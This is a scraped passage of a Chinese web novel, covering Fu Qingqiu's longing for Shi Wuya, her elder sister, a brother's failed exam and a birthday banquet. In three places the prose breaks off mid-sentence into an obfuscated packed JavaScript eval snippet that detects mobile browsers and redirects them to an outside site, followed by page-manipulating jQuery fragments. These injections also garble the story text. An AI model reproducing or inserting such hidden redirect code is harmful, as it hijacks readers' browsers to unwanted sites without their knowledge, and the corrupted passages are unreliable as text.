春日芳菲无尽,日辉灿然光影跃动,棠花轻颤,付清秋仰头满目欢喜地盯着他,纵使知道他是为了付清岁才来这儿,却又因他就在站在面前而高兴。 话落,师无涯微微颔首,听不出喜怒,他淡声道:“我去找清岁,陪她说会话。” “既如此,那我们一道去陪陪她,她心思重有你在会好些。”他漆黑的眸子漫出些许欣喜,转身道,“走罢。” 付清秋垂首走在他身后,做了师无涯十二年的尾巴,身体先一步替她做了回应,她乖乖地跟着他,只是从从前的一步,变成了如今的一丈。 方才师无涯眼底那点欢喜被她看在眼里,心里不免酸涩,两人绕过海棠树,冬盈远远见来人,进屋去通禀。 晴光入室,吹落满地海棠,付清岁正坐于松木云纹书案前画着迎春图,冬盈来时恰好画完。 “去晾一晾。”她将画交给冬盈。 冬盈小心接过,望向院道:“师郎君来了......” “那请他进来坐。”付清岁轻柔一笑,不甚在意。 冬盈眉心紧蹙,犹犹豫豫地吐出后半句话。 “二姑娘也来了。” 闻言,付清岁眼中笑意凝滞,她能想到师无涯会来,却怎么也想不到付清秋会来,两人一道来是何用意,难道是想来试探她? 付清岁心里拿不准,正琢磨着付清秋的来意,两人已至廊下,师无涯径直往里走,他对院子比她还熟悉,一路无人拦他。 可见平日里他是常来的,付清秋跟进屋里,室内镂空五足银香炉燃着淡淡的梨木香,冬盈从她身边拿着画去院里晾。 “清秋快坐,这几日身上可好?母亲总担心你”付清岁上前去迎她,付清秋被她拉着坐下。 师无涯信步至书案边,顺手拿起羊毫笔,在宣纸上堪堪画了几笔。 两人齐齐转头看他,付清岁凝眉,道:“三哥,你作甚?” 师无涯并未抬头,见他不应,付清岁快步走到他身边,低头看他画的什么,付清岁细细看去,虽说只有寥寥几笔,却初见人形。 付清岁探问:“三哥想画谁?” 师无涯适时停笔,付清岁拿起这幅画,迎着澄明的光晕仔细打量着画,师无涯站在一旁同她一起看画。 他轻声问:“你觉得像谁?” 付清岁举着画,光影交错间,有片刻她觉着画上的人,不是她,而是坐在桌边兴致缺缺的付清秋,只可惜只有寥寥几笔,她也分不清画的是她还是付清秋。 付清秋端坐在原处,看他们赏画,她离得远看不清那画,但却从两人的交谈中,知道师无涯画的是付清岁。 她唇齿轻启想说些什么,可又像什么堵着,最终只是静静地看着,什么都说不出,心头生出丝丝麻麻的酸涩感。 “你来的时候,我也刚好画完一幅海棠春醒图,方才让冬盈去晾着,待会你走的时候,顺道拿走罢。”付清岁理好师无涯所作之画。 “大姐姐,我能不能也要一幅?”付清秋抿唇道。 付清秋自小不善琴棋书画,对这些提不起兴趣,她如今这一问,倒叫付清岁猜到了什么,她不动声色地挪开一步,离师无涯远了些。 “你喜欢的话,就这幅送你,想来三哥也不喜欢这些画。”付清岁眼睫低垂,虚掩着低落的情绪。 要把画送给不懂画的人,付清岁心头难受,可又避无可避。 付清秋总觉自己言语有失,还未没等她想明白,却听师无涯开口:“是你画的,我自然喜欢,不过不缺这一幅,日子还长将来总会有别的画。” 师无涯宽慰她,眸光轻柔温和,唇边漾开温柔地笑,付清岁抬眸看他。 付清秋心中闷堵,隐在窄袖里的芊芊玉手紧攥成拳,仍由指尖狠狠掐进掌心。 师无涯已经很久没对她这样笑过,她那么想要得到的东西,付清岁总能轻而易举的得到,师无涯永远站在她身边。 付清岁心里不高兴,师无涯也不痛快,她既要顾着师无涯,又要顾着付清岁,谁又来顾念着她呢? 付清秋想不明白,但她唯一知道的是,将来她会嫁给师无涯,师无涯会娶她。 想到此处,付清秋暗暗松了口气。 “三哥,日子再长,我总归是要嫁人的,将来恐怕不能随时赠画了。”付清岁叹道,“三哥,从前你说的话可算数?” 付清秋屏息凝神地听着,师无涯曾对付清岁许下重诺,此生非她不娶,难不成付清岁真的要师无涯实现这个诺言? 可当初付清岁分明答应她会离师无涯远一点的。 师无涯拿起书案上的笔,蘸了墨,在她的白皙的脸上点了几笔。 “至少如今一切都好,别说这些丧气话。”师无涯搁笔,余光扫到付清秋,只见她如木偶抽丝,毫无气色。 “怎么了,清秋?”付清岁顺着他的视线望去,“清秋你的脸色不好,这是怎么了?” 付清岁快步至她身边,用手背探了探她的额头,付清秋拍开她的手,从木凳上猝然站起。 “没事,大姐姐那幅画还是给无涯哥哥罢,日后大姐姐再给我就是了。”付清秋起身要走,她的目光正巧对上师无涯。 师无涯大步朝她走来,他一动,付清秋心里隐隐期待,他会说些什么,又会做什么。 “付二姑娘要走了吗?”师无涯在她身前站定,“你我一道来的,那便一道走。” 付清岁颔首称是,“冬盈将海棠春醒图收来给三哥。” 冬盈闻声去院子里收画,竹架上落了不少的海棠花,粘在画上蹭了墨。 “姑娘,这......”冬盈犯了难,她没曾想过这些海棠会蹭墨。 付清拧拿起画,细细看过,蹭上去的松烟墨渍改也改不掉了,要送人的话,实在是拿不出手。 “三哥,要不还是——” 不待她说完,师无涯倾身夺过她手中的画,“我瞧着不错,别有意境。” 付清秋低眉敛眸,心里那处酸涩点点溢出来,她真想问一问师无涯,可要是问了,得到自己不喜欢的答案,又该如何办。 宁愿就像此刻,揣着明白装糊涂,就像绿柳说的,或许师无涯只是还没明白她的好。 付清秋悄然侧目,看那幅画被他小心地卷在手里,她想如果她会作画是不是也能让他这样珍视,要是自己也有这样好的才情,就好了。 “三哥不嫌弃就好了,清秋那就让三哥送你回去,今日我就偷个懒。”付清岁柔柔笑道,“过几日我再画一幅叫冬盈给你送去。” 付清秋淡淡道:“多谢大姐姐。” 付清岁目送两人离开,冬盈收好书案上师无涯的画,她仔细瞧了瞧,讶然道:“这是画的姑娘吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191526|150753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 付清岁盯着那幅画,眼神暗了暗,轻声道:“收好罢,日后就知道画的是谁了。” 她和付清秋同父异母,生的有几分相像,那画上的女子眉目不明,寥寥几笔只有轮廓,实在是说不准是画的谁。 海棠花树下,蝶飞叶舞,两人穿行其中,付清秋跟在师无涯身后,师无涯放慢步调,最终二人并肩同行。 付清秋抬头看他手上的画,佯装不在意地问:“无涯哥哥很喜欢大姐姐的画吗?” “喜欢,”师无涯不知她的心思,不假思索地答道,“你也喜欢?” 付清秋摇摇头,额前碎发飘扬,她黯然失神:“我不喜欢。” “既然不喜欢,为何方才要和我争?付二姑娘,你口不对心。”师无涯勾唇一笑,眼中升起一丝玩味,“你的心思全都写在脸上。” “今日伯母所说之事,难免会叫清岁伤心。”他慢慢道来,“你若是有心,平日多与她说说话,不必每日都跟着我。” 付清秋急道:“这不一样!我是喜欢你,我才跟着你的。” 师无涯满不在意,“付二姑娘,我不需要你的喜欢,有些话你是真的没听见还是不想听见?” 师无涯大步流星地往前走,沿途他弯腰避开低矮的海棠花枝,付清秋见她走,想也不想地追上去。 “无涯哥哥,我喜欢你,你不需要我也会喜欢你,你就不喜欢我?”付清秋为难地跟在他身后,师无涯走得太快,她只能小跑跟着。 海棠花落在师无涯肩头,付清秋一时失神,伸手去摘他肩上的海棠花,师无涯似有所感,乍然回首。 “付二姑娘,你这是在做什么?”师无涯攥住付清秋的手腕,眸光森寒。 他手上的画被捏皱,付清秋手腕被攥得生疼。 付清秋眼中闪过泪花,委屈着说:“无涯哥哥,你肩上落了海棠花,我想给你掸开。” 师无涯瞥了一眼左肩,随即松开她的手,自顾自地掸开肩上花。 “哦,多谢付二姑娘的好意。” 话落,师无涯伸手拍她的头,拈起她发丝上缠绕的海棠花,殷粉的花瓣衬得她气色好了不少,相比于前几日,现如今鲜活不少。 却是又变得和以前一样缠人。 师无涯漫不经心地扔掉花瓣,懒懒道:“还你的好意,两不相欠了。” 付清秋抬眸愣了好半晌,她记不清上一次和师无涯这么近的距离是在什么时候了,好像已经过了很久很久。 “发什么愣?”师无涯冷声问她。 付清秋醒过神,小声喊了他一句,“无涯哥哥。” 师无涯拧着眉离开,不再回她的话。 付清秋追上去,看着他手上的画,“无涯哥哥这幅画折了,我让大姐姐重新画一幅罢。” “不用。”师无涯道,“画不重要,重要的是谁画的。” 付清秋脚下一顿,方才那点欣喜又被压了下去,这话明摆着在说他在意付清岁,是他这样在意付清岁,而不是付清岁心心念念着他。 付清秋忽然明白就算她对付清岁千叮咛万嘱咐,也不抵师无涯心里喜欢她,他要凑上去和她说话。 师无涯的一举一动都为付清岁说话,就算那天她没能听到那些话,心里不也早已认定了吗。 付清秋小跑上前张开双臂拦住他,她要问一问师无涯为什么要这样喜欢付清岁,为何要弃婚约不顾。 5. 第5章 暮色四合,霞光渐浓,满院浮光跃动。 付清秋拦住他的去路,师无涯垂眸看她一脸要赴死的模样,借用画纸敲打她。 师无涯昂首,身子后仰,语气散漫,只随意问道:“你要做什么?” 付清秋鼓足一口气,紧闭着眼,扬声道。 “我想问——” “你的生辰要到了,你想要些什么?” 师无涯和她几乎同时出声,付清秋的话被噎住,一时间那些想要质问的话全都被搅散,她缓缓睁开一只眼,思索起生辰礼物。 “我想要秋千,想要一个和杭州一样的秋千,可以吗,无涯哥哥。” 付清秋眉眼轻盈,暗自窃喜师无涯到底还是在乎她的,只要他还在乎她,那她要问的事,或许就不重要了,将来总会好的。 “只是想要这个?”师无涯眸光忽暗,不知不觉间他手上的画纸攥出几道折痕。 “对,我只是想要这个,无涯哥哥就做一个和杭州一样的好吗!”付清秋越说越高兴,眼眸澄澈清明,笑吟吟地看他。 师无涯眸中倒映着那张明媚的笑颜,正值芳华的少女,粉面含春,一颦一笑都如此的生动可爱。 付清秋一高兴什么话都想说,朝他碎碎念:“无涯哥哥,只要你在身边就好,因为这里是汴京,和杭州一点儿都不一样,我想我们能像杭州一样,能够一直这样无忧无虑。” 师无涯长睫低垂,只盯着她出神,付清秋微怔,不知师无涯听没听进她说的话。 但此刻他就在眼前,总是能听进一些的,只要他站在眼前,就够了。 “罢了,我记下了。”话落,师无涯携画大步离开。 付清秋的话还没说完,眼前就只剩他的迎着暮光离去的背影,斜阳将他的影子拉长,纵使走了很远,她也能看到秀挺的影子。 “绿柳,无涯哥哥心里总归还是有我的对吗?”付清秋眸光渐沉,却又暗藏一丝光亮,她期望从绿柳的口中听到一个喜欢的答案。 斜阳残影,棠花摇曳,花枝纷纷摇落。 绿柳抬眼见师无涯走远,忽地想起从前在杭州时的事,那时的师无涯,总是时不时地回头看,生怕付清秋跑不见。 但如今看来,师无涯走得干脆利落,没有丝毫回头的意味。 只是付清秋是主子,就是看得出师无涯对付清秋不上心,她也得说些好话哄着,更何况,她是不愿见自家姑娘伤心的。 “姑娘,师郎君如此说,定然是在意姑娘想什么的,姑娘回屋罢。”绿柳调转话头,“今日云露去元丰楼拿了新糕点回来,姑娘快回去尝尝。” “新糕点?有些什么?”付清秋两眼放光,转头往院里跑,绿柳快步跟上。 付清秋便走边道:“元丰楼的新糕点,我得挑些给无涯哥哥送去,对了,大哥哥这几日也累着了,都分下去吧。” 绿柳喘了口气,愁道:“姑娘,云露只提了一盒回来,可没有多的了。” 云露听到脚步声,出门去迎,正值酉时,天色欲沉,透出清幽的月光,院里种着杏花被风吹得凌乱。 “姑娘,你身子还没好,别着凉了。”云露从屋里取了披风,绿柳接过系好带子。 付清秋问元丰楼来的新糕点有些什么,云露打开食盒,取出一碟便说一碟。 “这是今年新出的百花糕,甜而不腻,孙四娘改了方子,第一批就先拿给姑娘了。”云露手上的那碟白花花的甜糕闻着清香,勾得人口水直流。 “这是酥琼叶,这还有些酥皮点心,孙四娘都拿了些来。” 付清秋拈起一块百花糕,入口香甜绵密,细细品尝起来真像是尝百花,虽说平日也吃桂花糕,杏花糕,梅花糕,可要说这种百花糕,还是头一次吃。 “不错,你和绿柳也吃,剩下的送去给无涯哥哥。”付清秋就这一盏茶吃了酥琼叶和点心,都不如第一口尝到的百花糕惊艳,直到这会嘴里都还残留花香。 云露同绿柳去给师无涯送点心时没瞧见人,只好又折回来,付清秋便将糕点赏给院里的女使婆子。 转眼就快到付清岁的生辰,付清秋去找了好几次师无涯都没见着人,虽说没见着人,但心里有底,毕竟师无涯知道了她想要什么。 她只要等到生辰那日他来就好。 这日卯时,杏院石灯倏忽燃起,付清秋尚未醒,只听院子里闹哄声乍起,声音嘈杂不一,硬生生地将她吵醒。 付清秋绵在床榻上,扯紧被子,外头人仍旧在喋喋不休地说着什么,她这会半懵半醒,想等着安静了再睡,却迟迟等不到这些人噤声。 “绿柳!”付清秋扬声喊道。 天色灰白,屋外灯火明灭,听到愠怒的声音,外头陡然静下来。 绿柳忙捧着烛灯小心进屋,见付清秋已醒,半撑着身子倚在床沿,峨眉深蹙,知她是被吵醒,绿柳仓促燃灯,到床边扶起付清秋。 这会她醒了,想来也睡不下了。 “外头在吵什么?”付清秋自个顺了气,没去怪女使婆子多嘴。 绿柳扯好锦被,声音轻轻,“是大喜事,姑娘莫怪,便是我也大声说了话,扰了姑娘清梦。” 付清秋性子是好的,绿柳跟她这么久心里自然是知道的,只是这事确有不妥,得将话说明。 “什么事儿?”付清秋软绵绵地倚着绿柳,眼眸生涩,她揉了揉眼,眸光映照着跃动的烛火。 “大朗君中了。”绿柳说及此,掩不住笑,满心欢喜地说道。 付清秋仍懵着问:“中什么了?” “状元!” “状元?” 付清秋口中喃喃,好半晌才回过神来,登时从床上惊坐起来,喜笑颜开。 “状元?真中啦?” 如此一惊,付清秋彻底清醒,摇着绿柳的手,道:“大哥哥中了,这回真是双喜临门了,快快我要更衣去见大哥哥!” “等等,那二哥哥呢?” 付清秋手上一顿,大哥哥付远衡才华横溢,她心里清楚,但二哥哥付高越亦是寒窗苦读,虽说比不上付远衡天资聪颖,那也是用功了。 绿柳神色黯淡,敛眉叹息,付清秋心下了然。 前阵子付远衡倒是早早给她提了醒,叫她万万不要提此事。 “想来二哥哥心里正难受,先不去见大哥哥了,换身衣裳先去见二哥哥。”付清秋趁着绿柳去找衣裳时,她从屋里翻出从杭州带来的珍珠。 付清秋手里拈着一颗拇指大的珍珠,在昏暗沉寂的房里,圆润莹亮的珍珠泛着点点星光,浑圆天成的夜明珠。 这是她七岁离开杭州,付彰送她的生辰礼。 付清秋有的大多东西付高越都用不上,要说好东西,兄弟姊妹们都有,唯有这个是她心爱的宝贝,也只有这个拿得出手。 她将珍珠放进红漆雕花檀木盒里,绿柳打水来为她梳妆,云露蹑手蹑脚地走进来,方才她也在外头说话,现下心里正忐忑着。 “云露,今日再去元丰楼拿些百花糕回来,送到大哥哥哪儿。”付清秋笑道,“今日你们歇着罢。” 言罢,她从屉里剪了小半块银子。 “去吃吃茶,今儿让绿柳跟着我就好。”绿柳接过银子递给云露。 绿柳朝她使眼色,云露会意,匆匆退下去。 卯时三刻,两人出院子后不久,院里的人都各自躲懒,付清秋手捧木盒往付高越的院里去,留绿柳候在门外。 付清秋命女使不得支声,她悄悄进去,没曾想一进屋子就是铺面而来的酒气,隔夜的酒味蓄积在房内直冲天灵盖,付清秋眉眼皱成一团。 “谁让你进来的。” “出去!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191527|150753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 付高越背对着门大声吼道,桌上杯盏接二连三地被打翻,进来前付清秋便听女使说付高越已有好几日不出门,如今他这样唬得付清秋心突突直跳。 她付家是书香世家,付远衡行事稳重知趣,付高越虽不及付远衡,却也不曾发过这样大的脾气。 付清秋见此,心里难过得紧,一家子的兄弟姊妹,待她都好,但要说最好,付清秋想那就只有付高越了。 如今乍见他颓然不振,付清秋跟着伤心。 “二哥哥,是我。” 付清秋进屋支开窗,爽利清新的晨风吹进来,室内酒浊气霎时散开。 “你怎么来了?”付高越羞愧埋头,怎么也没想到来的竟然是妹妹,“你来作甚,怎么不去大哥那儿,非得到我这儿来受气?” “受气?” 付清秋抿唇,一脸正经,道:“受气,我才没受气呢,二哥哥最疼我了。” “别不理我,”付清秋坐到他身边,趴到桌上,歪头看付高越,“二哥哥,你可别哭,我今天给你带了好东西。” 付高越头埋得更低,闷声道:“我才没哭。” “好了好了,二哥哥你看这是什么?”付清秋打开木漆盒,璀璨夺目的珍珠在晨光下越发莹亮。 付清秋递到桌下给他看,顺道瞧瞧他到底哭没哭,付高越见到这颗珍珠,即刻抬起头来。 “这是父亲在你七岁时送你的生辰礼。” 付高越眼下乌青,消瘦不少,眼神却格外清明似乎还挂着泪,并不明显。 “现在是二哥哥的了。”付清秋把珍珠塞给他,“二哥哥,没关系的,下次再考一定会中的。” 付清秋挽着他的手摇了摇,那双杏眼纯洁明亮,付高越心头淌过暖流,却没收下珍珠,他道:“父亲送你的,我不要。” “那怎么了,我们是一家人呀。”付清秋蹭了蹭他的手臂,三言两语就将付高越哄好。 付高越拍拍胸脯,道:“你今日来哄我,心里惦记我,将来你有难事,二哥哥我罩着你。” 付清秋支手托腮,似是想到了什么,眉眼弯弯地笑起来。 “我心里只有一个愿望。” “什么?你想要什么?”付高越心下好奇问道。 “等我生辰那天我再告诉二哥哥。”付清秋想,等到了十五岁生辰,她和师无涯的婚事也该定下来了。 付高越挑眉,得意道:“你心里想着什么,我门清呢。” 付清秋眼尾轻挑,“我才不信,二哥哥就骗我罢。” “你和师无涯一样,神神秘秘的,前几日夜里我还见着他在池子边敲敲打打弄着什么,走近一看一堆木架子。”付高越想到以前。 “我知道,师无涯在打秋千,这秋千肯定是为你打的,想起杭州那时候,他也是这样夜里偷偷打秋千,最后架在屋门口的青梅树上。” 这几日她总找不见师无涯,原来是去打秋千了吗。 付清秋眸光一亮,藏不住眼底欢喜,原来师无涯还是在乎她的。 因付高越的话,当天夜里付清秋便跑到荷花池去,她躲在一边悄悄地看师无涯。 月光清幽,银辉遍地,池中荷叶散开,夜风一吹荡开满池涟漪。 师无涯抱着木头往亭子里走,收拾好后,他盘腿坐在亭下,清风轻柔地吹拂他的衣袍。 付清秋躲在树后看得发呆,虽然只能看到师无涯的侧脸,但也足矣令她满足,更何况此刻师无涯在为她打秋千。 “谁在哪?” 师无涯觉察到怪异的目光,他朝一棵繁茂的松树看去。 粗壮树干掩藏着付清秋单薄瘦小的身影,只是她月白色的裙角却没藏好,松树枝桠摩挲,密密麻麻地声音,如同小猫挠着她。 付清秋心里发慌,怎么偷偷地就被发现了。 6. 第6章 月色溶溶,风动荷叶,搅起碧波春水。 师无涯只手托着下颚,骨节分明的手指轻巧脸颊,眸光盯着那处,不用猜也知是谁,除了付清秋,不会有人鬼鬼祟祟。 都到这地步了,付清秋还躲在树后不肯出来,师无涯静静看着,就看付清秋要藏多久。 付清秋侧耳听枝桠发出的沙沙声,心里直发抖,这场无声地鏖战,最终是付清秋败下阵来。 “无涯哥哥。” 付清秋秉着一口气慢慢走出来,窘迫地抬手和他打了个照面。 师无涯挑眉,对她的出现并不意外,见她出来,也就不再盯着她,转而专心打木架,付清秋迈着小步子靠近师无涯,见到一堆木头被削得锃亮,亭子里摆着各式各样的木材和绳索。 付清秋眼中生喜,安分地坐在一边,乖巧地看着师无涯打秋千。 春风携月,浮光幽沉。 付清秋借着月影指尖描着师无涯的侧脸,从额头到下颚犹如刀锋,棱角分明,清风勾起两人衣袍,她额间碎发飞扬,金钗步摇晃荡。 她忍不住想要时间永远停留在这一刻。 “不冷么?” 师无涯懒懒抬眸,冷不防地问出这句话。 付清秋起身提起裙裾,蹲到他身边,笑意盎然地摊开手,“我不冷,无涯哥哥,你瞧,手心是暖的。” 师无涯横了她一眼,手心的温度他怎么看得出。 “冷就回屋,别又伤着付二姑娘金尊玉贵的身子了。”他敲了块硬木,用锥子打穿一尺宽的孔洞,随后又随意挑了根粗麻绳。 付清秋摇摇头,笑盈盈道:“不冷不冷,无涯哥哥我帮你罢,这根麻绳好像大了些,我去挑一根小些的。” 话落,她忙不迭地挪步,从一堆不大不小的绳子里挑出一根差不多大的,只是她瞧着这些麻绳大差不差,同杭州秋千上的麻绳手感不同。 那绳子不割手,细软有韧劲,不像这些糙得很。 师无涯余光扫过她,淡淡道:“不用,都一样。” “都一样吗?和在杭州的不一样呀。”付清秋蹙眉,望着手里的麻绳发呆。 师无涯拍袖利索起身,垂眸看她发愣,道:“走了,你要看多久?” 付清秋茫然抬头,映入眼帘的是一轮弯月,师无涯逆着月光,看不清他此刻是何神情,不知是夜里冷还是他的说话的声音太过凌冽,她身子陡然一颤。 师无涯眸光深静,倒是将付清秋的一举一动看得清晰。 “无涯哥哥,这么快就好了?”她疑道。 她从院里到这儿不过半个时辰,这就好了? 付清秋委屈道:“要不再挑一挑,无涯哥哥那绳子很磨手,重新挑一个罢,好不好。” 她略带请求的声音软绵可怜,湿漉漉的双眼直勾勾地盯着他,那样纯洁无暇的目光,像是隐在山中的明珠,在引着他往陷阱里去。 师无涯眉心拧起一座小山,心道他绝不会被付清秋撒娇卖乖的模样欺骗。 师无涯背过身,恨恨道:“不好,付二姑娘若是想做便自己做,想要不磨手的绳子自己去铺子里挑,缠着我作甚。” “我不是你付家的下人。” 言罢,师无涯大步离开,独留她一人握着粗糙的麻绳,那绳子锢在手上,疼在心里。 付清秋理好麻绳,一根根的摆放好,把剩余的木块她堆放到一边,她暗暗地想是不是自己的要求得太多了,不该让师无涯为难的。 罢了罢了,等到生辰那天就好了。 翌日,绿柳正为付清秋梳妆,云露面色匆匆,三步并作两步走到两人身边。 付清秋杏眼惺忪,轻轻揉了揉眼尾,透过团花镜看云露急躁的模样,“什么事这么急?” 云露道:“也不是什么大事,只是......” 绿柳拢好付清秋鬓边碎发,簪上蝴蝶缠枝金簪,以银篦压住发尾,又从屉子挑了珍珠珥,付清秋摇头,让绿柳收了珥。 “说罢,云露,没什么事是不能说的。”付清秋对镜自照,绿柳往后退半步。 云露定下心神,道:“是夫人将大姑娘的生辰推迟到与姑娘一道了,大朗君一举夺魁,夫人说是双喜临门便定下十五那日。” “就是这事儿?”付清秋无可奈何,韦氏要这样做,明摆着是不想要付清岁单独过。 可这样一来,师无涯恐怕也跟着替付清岁委屈了,她能做的也就是在那时为付清岁说说话。 这会付清秋失了兴致,恹恹地趴在妆台前,浅青色袖口蹭上少许口脂。 付清秋道:“罢了,给大姐姐也送一份百花糕,把我年前买的那支金镶玉簪子一并送过去。” 云露望向绿柳,绿柳转身去取东西,元丰楼的百花糕只得现买,云露趁绿柳放簪子时凑上前去。 “姐姐,这事儿我来就好,今日我来陪着姑娘罢。”云露柔声笑道,“这几日我腿上不好,劳烦姐姐替我跑一趟了。” 绿柳顿住手,浅浅望了她一眼,将手里裹好绸缎递到她手上。 “可严重?这几日可要歇着?”绿柳关切问道,“云露你说这话就是见外了,哪有什么劳烦不劳烦的,姑娘心绪低迷,你嘴甜,多哄哄姑娘,我便先去了。” 绿柳面上不显,把话说得漂亮找不出错来,不知怎的,她有些后悔将师无涯的事告诉她。 可若不说,云露总提及师无涯的不好。 绿柳转身离去,云露见她走了,将丝绸利索系好。 窗外透进薄薄日光,正巧洒在妆台上,晨曦轻柔地抚着付清秋半张瘦削的脸,她出神地盯着半扇镂空木门。 云露道:“姑娘生得漂亮,蹙起眉来怕是比西子都美。” 付清秋抿唇轻笑,羞赧垂眸,“云露你哄我罢。” 这几日府上女使婆子忙得脚不沾地,韦氏裁了新衣裳送来,头面首饰送不断,付清秋倒不在意,打着韦氏的名头匀了一半给付清岁。 三月十五的前一日,韦氏用过饭后留下付清秋,付清秋本是想去和师无涯说些话,问问那秋千如何了,这会只能看着师无涯和付清岁一道离开。 正房内烛火明亮,定窑白瓷镂空香炉盘旋着阵阵沉香,室内沉寂。 韦氏屏退女使,拉着付清秋的手坐下,道:“明儿个你好生打扮打扮,不要丢了付家的面子,清岁那边我已叮嘱过,你也不要落了下风。” 付清秋垂眼,乖顺应道:“晓得的,阿娘。” “明日来的达官贵人你可要上心,切莫闹了笑话,席面上多说些话,让夫人们记得你。”韦氏收敛笑意,语重心长地说道。 付清秋颔首:“阿娘,我累了。” 韦氏见她怏怏不乐,不知她是真的累了还是不愿听她说话,这么多年她一心扑在她身上,为的就是她将来能嫁得好,有枝可依。 付清秋对师无涯的一往情深,韦氏心里明白,毕竟这么多年过来,又逢少女情窦初开,可只倚靠着少女情怀如何能长久。 师家落败,吃了她家这么多年的粮,也算是还了他家的恩。 付清秋同绿柳一道福身退下,韦氏愁眉不展,惶惶不安地望着夜色里逐渐消失的身影,捧起几案上的兔毫盏,呷了口茶。 李妈妈温声劝慰:“夫人,姑娘的心始终是向着您的,只是姑娘还小,那里分得清什么好坏。” 韦氏凝眉叹息:“早点明白少吃些苦。” 李妈妈道:“夫人别伤了自个的身子,姑娘将来会明白的。” 韦氏苦涩一笑,让李妈妈服侍她歇下。 是日,付清秋起了个大早,任由绿柳梳妆,她今日的衣裳首饰是前几日韦氏定下的,一件天青色缎松竹窄袖罗衫,下着青色百褶裙,头簪珍珠鲜花,恰到好处的显出她的娇俏可爱。 士大夫多好清雅娴静的美人,内宅的夫人眼光更是毒辣,识人颇准。 付清秋自然明白韦氏的用意,只是她更喜明媚的颜色,这些清雅之色,颇为寡淡。 朗日高照,碧空如洗,燕雀掠过长空,付宅后院前厅正热闹,院里迎春、山茶花枝头迎风摇曳,昨夜晶莹露珠挂在蕊心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191528|150753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 付清秋和付清岁紧随韦氏,韦氏在一众贵气的妇人中周旋,今日来的多数是付彰在朝中的友人之妻,还有些便是冲着状元来的,免不了要谦虚一番。 “付夫人家的千金养得水灵,想必是花了心思,真是可惜了,”说话的妇人蹙眉,婉转叹息,“我子嗣稀薄,倒是想要个千金养着也没法子。” 言罢,紫衣妇人暗自神伤,韦氏认得她,是王国公的夫人,有诰命在身,不同于其他命妇,王夫人性格温和,是个伤春悲秋的性子。 一旁随行的夫人柔声劝:“夫人莫要放在心上,小公爷才思敏捷,来日中了状元探花娶个小娘子回来,到那时也是半个闺女。” 韦氏慢声细语,也道:“姑娘家家顽起来更是头疼,夫人不吃这苦,生孩子这趟鬼门关想来是老天怜惜夫人呢。” 王夫人转念一想,韦氏说的在理,当初她怀孩子时折腾得彻夜不眠,她是真想再要个闺女,却也不想再受那罪。 付清秋垂首不语,付清岁在此时出声,她声音轻灵,宛如春风低语,道:“母亲前些年夜里整宿难眠,那会儿我顽皮惹得母亲头风都犯了,如今想起来委屈了母亲妹妹要哄着我。” 闻言,王夫人慈爱的目光落在她身上,道:“从前不常见你,倒是个标致的小娘子,你倒是心里念着母亲,时时刻刻都惦记着,是个好孩子。” 王夫人眸光轻柔,道:“好姑娘,来陪我说说话。” 韦氏一口银牙险些咬碎,如今人多她不好发作,付清岁说的话周全挑不出错,反倒是付清秋魂儿不知飘到那里去了。 付清秋抬眼看向韦氏,又慌忙垂下眼,她自然晓得此刻韦氏心里在想什么。 只可惜她的心思不在这儿,饶是韦氏那不成器的目光把她盯穿,付清秋也不肯说话。 付清秋别开视线,往月洞门望去时,一道熟悉的墨色身影闪过,只消一眼,她便知道那是谁。 今日是她的生辰,师无涯应当为她打好了秋千。 “母亲,我身子不适,先退下了。”付清秋开口第一句话便是要离开,贵妇们齐齐看向她。 韦氏向来识大体,此时她面上柔和,并不发作,“去罢,好生带姑娘去歇着。” 绿柳颔首,扶着付清秋过月洞门,待到四下无人之际,她循着方才师无涯走的方向找去,绿柳追在她身后。 “姑娘慢些!”绿柳道。 付清秋飞快奔走,似听不见绿柳说话,正要过垂花门,一道绛紫色身影伫立眼前,付清秋惊诧抬头。 “失礼失礼。”青年拱手作揖,眸光低垂。 付清秋以青花团扇遮面,疑道:“郎君可是迷路了?” 他道:“席上衣裳被打湿,女使带我换衣,这才乱走,撞见姑娘实乃抱歉,” “倒不是什么大事,今日府上人多,”付清秋指尖拈着青花团扇,“绿柳送郎君去前厅。” 从撞见付清秋那刻起,他便低眉垂首,可瞧着他的衣着打扮却不像是小门小户出来的,在汴京七年,这些门道她还是能瞧得出来。 付家做东设宴不能丢了家中面子,付清秋歉声,道:“郎君若还有所需,可差人寻我,今日招待不周,还请郎君见谅。” 青年缓缓抬头,乌黑鸦睫轻颤,他清澈含羞的眼眸正巧对上付清秋懵懂的目光,眼前女子身姿清绝,眸含秋水,眉似远山,是那团扇掩不住的秀美。 好生俊秀的郎君。 